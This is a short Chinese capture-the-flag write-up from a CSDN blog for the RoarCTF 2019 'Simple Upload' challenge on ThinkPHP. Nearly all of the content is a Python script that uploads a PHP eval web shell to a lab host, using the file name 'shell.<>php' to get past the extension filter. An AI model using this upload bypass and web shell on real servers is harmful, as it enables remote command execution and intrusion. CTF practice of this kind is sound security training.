[RoarCTF 2019]Simple Upload

最新推荐文章于 2024-03-28 09:54:49 发布

ahik1

最新推荐文章于 2024-03-28 09:54:49 发布

阅读量196

点赞数

分类专栏： ctf竞赛文章标签： python

本文链接：https://blog.csdn.net/wjd19980925/article/details/124275964

版权

ctf竞赛专栏收录该内容

6 篇文章 0 订阅

订阅专栏

该博客内容涉及ThinkPHP框架的默认上传路径/home/index/upload/，并展示了一个利用requests库进行POST请求，尝试上传含有恶意PHP代码的文件。攻击者通过文件名中使用特殊字符绕过过滤，尝试执行PHP的eval函数，进行命令注入。

摘要由CSDN通过智能技术生成

thinkphp
默认上传路径是/home/index/upload

import requests
url = "http://c2e68701-24aa-42d8-ac2c-bf3c1b2b7d4f.node4.buuoj.cn:81/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)